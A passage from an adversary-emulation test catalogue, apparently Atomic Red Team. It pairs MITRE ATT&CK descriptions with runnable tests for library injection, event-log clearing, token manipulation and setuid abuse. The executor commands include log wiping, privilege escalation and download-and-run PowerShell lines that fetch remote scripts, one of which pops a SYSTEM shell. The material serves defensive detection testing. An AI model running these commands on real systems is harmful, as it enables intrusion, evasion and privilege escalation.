        name: bash
        elevation_required: true
    - name: Shared Library Injection via LD_PRELOAD
      auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae
      description: |
        This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

        Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

          '
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

          '
      executor:
        command: 'LD_PRELOAD=#{path_to_shared_library} ls

          '
        name: bash
    - name: Dylib Injection via DYLD_INSERT_LIBRARIES
      auto_generated_guid: 4d66029d-7355-43fd-93a4-b63ba92ea1be
      description: 'injects a dylib that opens calculator via env variable

        '
      supported_platforms:
      - macos
      input_arguments:
        file_to_inject:
          description: Path of executable to be injected. Mostly works on non-apple
            default apps.
          type: path
          default: "/Applications/Firefox.app/Contents/MacOS/firefox"
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c
        dylib_file:
          description: Path of dylib file
          type: path
          default: "/tmp/T1574006MOS.dylib"
      dependency_executor_name: bash
      dependencies:
      - description: 'Compile the dylib from (#{source_file}). Destination is #{dylib_file}

          '
        prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file}

          '
        get_prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file}

          '
      executor:
        command: 'DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject}

          '
        cleanup_command: |
          kill `pgrep Calculator`
          kill `pgrep firefox`
        name: bash
        elevation_required: false
  T1070.001:
    technique:
      modified: '2024-04-16T12:40:58.536Z'
      name: 'Indicator Removal on Host: Clear Windows Event Logs'
      description: |-
        Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.


        With administrator privileges, the event logs can be cleared with the following utility commands:

        * <code>wevtutil cl system</code>
        * <code>wevtutil cl application</code>
        * <code>wevtutil cl security</code>

        These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)

        Adversaries may also attempt to clear logs by directly deleting the stored log files within `C:\Windows\System32\winevt\logs\`.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Lucas Heiligenstein
      x_mitre_deprecated: false
      x_mitre_detection: 'Deleting Windows event logs (via native binaries (Citation:
        Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear),
        or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation:
        Microsoft Clear-EventLog)) may also generate an alterable event (Event ID
        1102: "The audit log was cleared").'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Deletion'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Anti Virus
      - Host Intrusion Prevention Systems
      - Log Analysis
      type: attack-pattern
      id: attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2
      created: '2020-01-28T17:05:14.707Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070/001
        external_id: T1070.001
      - source_name: disable_win_evt_logging
        description: 'Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging.
          Retrieved April 7, 2022.'
        url: https://ptylu.github.io/content/report/report.html?report=25
      - source_name: Microsoft Clear-EventLog
        description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.
        url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
      - source_name: Microsoft EventLog.Clear
        description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2,
          2018.
        url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
      - source_name: Microsoft wevtutil Oct 2017
        description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July
          2, 2018.
        url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1070.001
    atomic_tests:
    - name: Clear Logs
      auto_generated_guid: e6abb60e-26b8-41da-8aae-0c35174b0967
      description: 'Upon execution this test will clear Windows Event Logs. Open the
        System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is
        now empty.

        '
      supported_platforms:
      - windows
      input_arguments:
        log_name:
          description: Windows Log Name, ex System
          type: string
          default: System
      executor:
        command: 'wevtutil cl #{log_name}

          '
        name: command_prompt
        elevation_required: true
    - name: Delete System Logs Using Clear-EventLog
      auto_generated_guid: b13e9306-3351-4b4b-a6e8-477358b0b498
      description: |
        Clear event logs using built-in PowerShell commands.
        Upon successful execution, you should see the list of deleted event logs
        Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.
      supported_platforms:
      - windows
      executor:
        command: |
          $logs = Get-EventLog -List | ForEach-Object {$_.Log}
          $logs | ForEach-Object {Clear-EventLog -LogName $_ }
          Get-EventLog -list
        name: powershell
        elevation_required: true
    - name: Clear Event Logs via VBA
      auto_generated_guid: 1b682d84-f075-4f93-9a89-8a8de19ffd6e
      description: "This module utilizes WMI via VBA to clear the Security and Backup
        eventlogs from the system. \n\nElevation is required for this module to execute
        properly, otherwise WINWORD will throw an \"Access Denied\" error\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"
        name: powershell
        elevation_required: true
  T1222:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: File and Directory Permissions Modification
      description: "Adversaries may modify file or directory permissions/attributes
        to evade access control lists (ACLs) and access protected files.(Citation:
        Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)
        File and directory permissions are commonly managed by ACLs configured by
        the file or directory owner, or users with the appropriate permissions. File
        and directory ACL implementations vary by platform, but generally explicitly
        designate which users or groups can perform which actions (read, write, execute,
        etc.).\n\nModifications may include changing specific access rights, which
        may require taking ownership of a file or directory and/or elevated permissions
        depending on the file or directory’s existing permissions. This may enable
        malicious activity such as modifying, replacing, or deleting specific files
        or directories. Specific file and directory modifications may be a required
        step for many techniques, such as establishing Persistence via [Accessibility
        Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization
        Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration
        Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking
        other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries
        may also change permissions of symbolic links. For example, malware (particularly
        ransomware) may modify symbolic links and associated settings to enable access
        to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation:
        bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation:
        fsutil_behavior) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

        Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '2.2'
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      - Jan Miller, CrowdStrike
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - File system access controls
      type: attack-pattern
      id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196
      created: '2018-10-17T00:14:20.652Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1222
        external_id: T1222
      - source_name: falconoverwatch_blackcat_attack
        description: Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat
          Hunting Contributes to Seamless Protection Against Novel BlackCat Attack.
          Retrieved May 5, 2022.
        url: https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/
      - source_name: Hybrid Analysis Icacls1 June 2018
        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
          Retrieved August 19, 2018.
        url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
      - source_name: Hybrid Analysis Icacls2 May 2018
        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
          Retrieved August 19, 2018.
        url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
      - source_name: bad_luck_blackcat
        description: Kaspersky Global Research & Analysis Team (GReAT). (2022). A
          Bad Luck BlackCat. Retrieved May 5, 2022.
        url: https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf
      - source_name: fsutil_behavior
        description: Microsoft. (2021, September 27). fsutil behavior. Retrieved January
          14, 2022.
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior
      - source_name: EventTracker File Permissions Feb 2014
        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
          with the Windows Security Log. Retrieved August 19, 2018.
        url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
      - source_name: blackmatter_blackcat
        description: 'Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat:
          Analyzing two attacks from one affiliate. Retrieved May 5, 2022.'
        url: https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
      - source_name: new_rust_based_ransomware
        description: 'Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical
          Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January
          14, 2022.'
        url: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1548:
    technique:
      modified: '2024-04-15T20:52:09.908Z'
      name: Abuse Elevation Control Mechanism
      description: 'Adversaries may circumvent mechanisms designed to control elevate
        privileges to gain higher-level permissions. Most modern systems contain native
        elevation control mechanisms that are intended to limit privileges that a
        user can perform on a machine. Authorization has to be granted to specific
        users in order to perform tasks that can be considered of higher risk.(Citation:
        TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform
        several methods to take advantage of built-in control mechanisms in order
        to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation:
        Fortinet Fareit)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).

        Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

        On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.

        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - IaaS
      - Google Workspace
      - Azure AD
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'User Account: User Account Modification'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'File: File Metadata'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
      created: '2020-01-30T13:58:14.373Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548
        external_id: T1548
      - source_name: TechNet How UAC Works
        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
      - source_name: OSX Keydnap malware
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      - source_name: Fortinet Fareit
        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
        url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
      - source_name: sudo man page 2018
        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
        url: https://www.sudo.ws/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1134.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Create Process with Token
      description: |-
        Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)

        Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.

        While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Vadim Khrykov
      - Jonny Johnson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      type: attack-pattern
      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
      created: '2020-02-18T16:48:56.582Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134/002
        external_id: T1134.002
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: Microsoft RunAs
        description: Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1134.002
    atomic_tests:
    - name: Access Token Manipulation
      auto_generated_guid: dbf4f5a9-b8e0-46a3-9841-9ad71247239e
      description: "This Action demonstrates how an access token for a specific program
        can spawn another program under a different owner. \nAdversaries can leverage
        access tokens to run programs under a different user not only to achieve privilege
        escalation but also to evade detection by blending in with normal user activity.
        \nThis Action will query all processes and list the process name and owner.It
        will then make a copy of an existing token to create a new instance of cmd.exe\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ExecutionPolicy -Scope Process Bypass -Force
          $owners = @{}
          gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
          Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
          & "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
        name: powershell
        elevation_required: true
    - name: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation
        technique
      auto_generated_guid: ccf4ac39-ec93-42be-9035-90e2f26bcd92
      description: Get SYSTEM shell - Pop System Shell using Token Manipulation technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem
        name: powershell
  T1548.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Abuse Elevation Control Mechanism: Setuid and Setgid'
      description: |-
        An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

        Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.

        Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

        Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Monitor the file system for files that have the setuid or
        setgid bits set. Monitor for execution of utilities, like chmod, and their
        command-line arguments to look for setuid or setguid bits being set.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
      created: '2020-01-30T14:11:41.212Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/001
        external_id: T1548.001
      - source_name: GTFOBins Suid
        description: Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January
          28, 2022.
        url: https://gtfobins.github.io/#+suid
      - source_name: OSX Keydnap malware
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      - source_name: setuid man page
        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
          Retrieved September 21, 2018.
        url: http://man7.org/linux/man-pages/man2/setuid.2.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1548.001
    atomic_tests:
    - name: Make and modify binary from C source
      auto_generated_guid: 896dfe97-ae43-4101-8e96-9a7996555d80
      description: 'Make, change owner, and change file attributes on a C source code
        file

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        payload:
          description: hello.c payload
          type: path
          default: PathToAtomicsFolder/T1548.001/src/hello.c
      executor:
        command: |
          cp #{payload} /tmp/hello.c
          sudo chown root /tmp/hello.c
          sudo make /tmp/hello
          sudo chown root /tmp/hello
          sudo chmod u+s /tmp/hello
          /tmp/hello
        cleanup_command: |
          sudo rm /tmp/hello
          sudo rm /tmp/hello.c
        name: sh
        elevation_required: true
    - name: Make and modify binary from C source (freebsd)
      auto_generated_guid: dd580455-d84b-481b-b8b0-ac96f3b1dc4c
      description: 'Make, change owner, and change file attributes on a C source code
        file

        '
      supported_platforms:
      - linux
      input_arguments:
        payload:
          description: hello.c payload
          type: path
          default: PathToAtomicsFolder/T1548.001/src/hello.c
      executor:
        command: |
          cp #{payload} /tmp/hello.c
          chown root /tmp/hello.c
          make /tmp/hello
          chown root /tmp/hello
          chmod u+s /tmp/hello
          /tmp/hello
        cleanup_command: |
          rm /tmp/hello
          rm /tmp/hello.c
        name: sh
        elevation_required: true
    - name: Set a SetUID flag on file
      auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79
      description: 'This test sets the SetUID flag on a file in FreeBSD.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetUID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod u+xs #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Set a SetUID flag on file (freebsd)
      auto_generated_guid: 9be9b827-ff47-4e1b-bef8-217db6fb7283
      description: 'This test sets the SetUID flag on a file in FreeBSD.

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetUID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setuid}
          chown root #{file_to_setuid}
          chmod u+xs #{file_to_setuid}
        cleanup_command: 'rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Set a SetGID flag on file
      auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c
      description: 'This test sets the SetGID flag on a file in Linux and macOS.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetGID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod g+xs #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Set a SetGID flag on file (freebsd)
      auto_generated_guid: 1f73af33-62a8-4bf1-bd10-3bea931f2c0d
      description: 'This test sets the SetGID flag on a file in FreeBSD.

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetGID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setuid}
          chown root #{file_to_setuid}
          chmod g+xs #{file_to_setuid}
        cleanup_command: 'rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Make and modify capabilities of a binary
      auto_generated_guid: db53959c-207d-4000-9e7a-cd8eb417e072
      description: |
        Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
        The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
        Without being owned by root, the binary can set the UID to 0.
      supported_platforms:
      - linux
      input_arguments:
        payload:
          description: cap.c payload
          type: path
          default: PathToAtomicsFolder/T1548.001/src/cap.c
      executor:
        command: |
          cp #{payload} /tmp/cap.c
          make /tmp/cap
          sudo setcap cap_setuid=ep /tmp/cap
          /tmp/cap
        cleanup_command: |
          rm /tmp/cap
          rm /tmp/cap.c
        name: sh
        elevation_required: true
    - name: Provide the SetUID capability to a file
      auto_generated_guid: 1ac3272f-9bcf-443a-9888-4b1d3de785c1
      description: 'This test gives a file the capability to set UID without using
        flags.

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_setcap:
          description: Path of file to provide the SetUID capability
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setcap}
          sudo setcap cap_setuid=ep #{file_to_setcap}
        cleanup_command: 'rm #{file_to_setcap}

          '
        name: sh
        elevation_required: true
    - name: Do reconnaissance for files that have the setuid bit set
      auto_generated_guid: 8e36da01-cd29-45fd-be72-8a0fcaad4481
      description: 'This test simulates a command that can be run to enumerate files
        that have the setuid bit set

        '
      supported_platforms:
      - linux
      executor:
        command: 'find /usr/bin -perm -4000

          '
        name: sh
    - name: Do reconnaissance for files that have the setgid bit set
      auto_generated_guid: 3fb46e17-f337-4c14-9f9a-a471946533e2
      description: 'This test simulates a command that can be run to enumerate files
        that have the setgid bit set

        '
      supported_platforms:
      - linux
      executor:
        command: 'find /usr/bin -perm -2000

          '
        name: sh
  T1218.008:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071
      type: attack-pattern
      created: '2020-01-24T15:01:32.917Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1218.008
